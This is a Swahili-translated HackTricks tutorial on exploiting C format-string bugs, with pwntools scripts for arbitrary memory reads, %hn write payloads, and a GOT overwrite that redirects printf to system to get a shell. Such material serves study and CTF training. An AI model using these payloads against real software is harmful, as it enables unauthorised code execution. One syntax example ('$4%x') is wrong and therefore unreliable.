hacktricks/binary-exploitation/format-strings
2024-04-07 03:54:31 +00:00
..
format-strings-template.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 03:54:31 +00:00
README.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 03:54:31 +00:00

Strings za Umbizo

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Taarifa Msingi

Katika C printf ni kazi inayoweza kutumika kwa kusambaza baadhi ya string. Parameter ya kwanza ambayo kazi hii inatarajia ni maandishi ghafi yenye formatters. Parameta zinazofuata zinatarajiwa kuwa thamani za kubadilisha formatters kutoka kwenye maandishi ghafi.

Udhaifu unaonekana wakati maandishi ya muhusika yanatumika kama hoja ya kwanza kwa kazi hii. Muhusika ataweza kutengeneza kuingia maalum kwa kudhuru uwezo wa strings za umbizo za printf kusoma na kuandika data yoyote kwenye anwani yoyote (inayoweza kusomwa/kuandikwa). Hivyo kuweza kutekeleza nambari za aina yoyote.

Formatters:

%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

Mifano:

  • Mfano wa kudukuliwa:
char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • Matumizi ya Kawaida:
int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • Kwa Vipengele Vilivyopotea:
printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.

Kupata Pointers

Muundo wa %<n>$x, ambapo n ni nambari, inaruhusu kuelekeza printf kuchagua parameter ya n (kutoka kwenye stack). Kwa hivyo, ikiwa unataka kusoma param 4 kutoka kwenye stack ukitumia printf unaweza kufanya hivi:

printf("%x %x %x %x")

Na ungesoma kutoka kwa paramu ya kwanza hadi ya nne.

Au unaweza kufanya:

printf("$4%x")

na soma moja kwa moja ya nne.

Gundua kwamba muhalifu anadhibiti pr intf parameter, ambayo kimsingi inamaanisha mchango wake utakuwa kwenye stack wakati printf inaitwa, ambayo inamaanisha anaweza kuandika anwani maalum za kumbukumbu kwenye stack.

{% hint style="danger" %} Muhalifu anayedhibiti mchango huu, ataweza kuongeza anwani za kiholela kwenye stack na kufanya printf kuzifikia. Katika sehemu inayofuata itaelezwa jinsi ya kutumia tabia hii. {% endhint %}

Kusoma Kiholela

Inawezekana kutumia mfumo wa $n%s ili kufanya printf ipate anwani iliyoko katika nafasi ya n, ikifuatiwa na kuichapisha kana kwamba ni string (kuichapisha hadi 0x00 inapatikana). Kwa hivyo ikiwa anwani ya msingi ya binary ni 0x8048000, na tunajua kuwa mchango wa mtumiaji unaanza katika nafasi ya 4 kwenye stack, inawezekana kuchapisha mwanzo wa binary na:

from pwn import *

p = process('./bin')

payload = b'%6$p' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

{% hint style="danger" %} Tafadhali kumbuka huwezi kuweka anwani 0x8048000 mwanzoni mwa matokeo kwa sababu string itaongeza 0x00 mwishoni mwa anwani hiyo. {% endhint %}

Andika Kiholela

Mfumo $<num>%n huandika idadi ya baits zilizoandikwa kwenye anwani iliyotajwa katika param ya <num> kwenye stack. Ikiwa mshambuliaji anaweza kuandika idadi kubwa ya char kama anavyotaka na printf, ataweza kufanya $<num>%n iandike nambari ya kiholela kwenye anwani ya kiholela.

Kwa bahati nzuri, ili kuandika nambari 9999, si lazima kuongeza "A" 9999 kwenye matokeo, badala yake inawezekana kutumia mfumo %.<num-andika>%<num>$n kuandika nambari <num-andika> kwenye anwani inayoelekezwa na nafasi ya num.

AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

Hata hivyo, ni vyema kufahamu kwamba kawaida ili kuandika anwani kama vile 0x08049724 (ambayo ni nambari KUBWA kuandika kwa mara moja), inatumika $hn badala ya $n. Hii inaruhusu kuandika Byte 2 pekee. Kwa hivyo, operesheni hii inafanywa mara mbili, mara moja kwa Byte 2 za juu za anwani na mara nyingine kwa zile za chini.

Hivyo, udhaifu huu huruhusu kuandika chochote katika anwani yoyote (kuandika kiholela).

Katika mfano huu, lengo litakuwa ni kubadilisha anwani ya kazi katika taarifa ya GOT ambayo itaitwa baadaye. Ingawa hii inaweza kutumika vibaya kwa njia nyingine za kutekeleza kuandika kiholela kwa mbinu za kutekeleza:

{% content-ref url="../arbitrary-write-2-exec/" %} arbitrary-write-2-exec {% endcontent-ref %}

Tutakuwa tukibadilisha kazi ambayo inapokea vigezo vyake kutoka kwa mtumiaji na kuielekeza kwa kazi ya system.
Kama ilivyotajwa, ili kuandika anwani, kawaida hatua 2 zinahitajika: Kwanza unahitaji kuandika Byte 2 za anwani na kisha nyingine 2. Kufanya hivyo, $hn hutumiwa.

  • HOB inaitwa kwa Byte 2 za juu za anwani
  • LOB inaitwa kwa Byte 2 za chini za anwani

Kisha, kutokana na jinsi formati ya string inavyofanya kazi, unahitaji kuandika kwanza ile ndogo kati ya [HOB, LOB] na kisha nyingine.

Ikiwa HOB < LOB
[anwani+2][anwani]%.[HOB-8]x%[kielelezo]\$hn%.[LOB-HOB]x%[kielelezo+1]

Ikiwa HOB > LOB
[anwani+2][anwani]%.[LOB-8]x%[kielelezo+1]\$hn%.[HOB-LOB]x%[kielelezo]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

{% code overflow="wrap" %}

python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

{% endcode %}

Kigezo cha Pwntools

Unaweza kupata kigezo cha kuandaa shambulio kwa aina hii ya udhaifu katika:

{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}

Au mfano huu wa msingi kutoka hapa:

from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

Matumizi ya Strings za Umbizo kwa BOF

Inawezekana kutumia vitendo vya kuandika kutoka kwa udhaifu wa stringi ya umbizo ili kuandika kwenye anwani za steki na kutumia udhaifu wa aina ya kujaza ujazo.

Mifano na Marejeo Mengine